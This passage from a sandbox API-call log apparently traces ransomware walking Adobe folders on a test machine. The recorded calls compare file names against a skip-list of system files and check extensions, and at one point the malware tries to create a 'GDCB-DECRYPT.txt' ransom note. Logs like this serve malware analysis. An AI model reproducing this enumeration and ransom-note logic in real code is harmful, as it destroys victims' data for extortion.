Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 236 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 236 [0170.329] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.329] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 237 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 237 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 237 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 237 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.329] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.329] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 230 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 230 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 230 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 230 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.329] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.330] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.330] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.330] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.330] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 219 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 219 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 219 [0170.330] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 219 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.330] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.330] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.330] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.330] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.331] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 201 [0170.331] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.331] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e18 [0170.331] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.331] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.331] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.331] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.331] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.331] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.331] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.331] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.331] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 215 [0170.331] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.331] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.331] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.331] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 217 [0170.331] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.331] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.331] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.331] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.331] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.331] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 209 [0170.331] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.331] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.331] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 218 [0170.331] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.333] GetLastError () returned 0x50 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 201 [0170.334] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.334] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e18 [0170.334] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.334] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 215 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 215 [0170.334] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.334] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 217 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 217 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 217 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 217 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.334] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.334] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.334] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.334] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.334] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 210 [0170.335] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.335] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd150 [0170.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.335] FindNextFileW (in: hFindFile=0x5dd150, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.335] 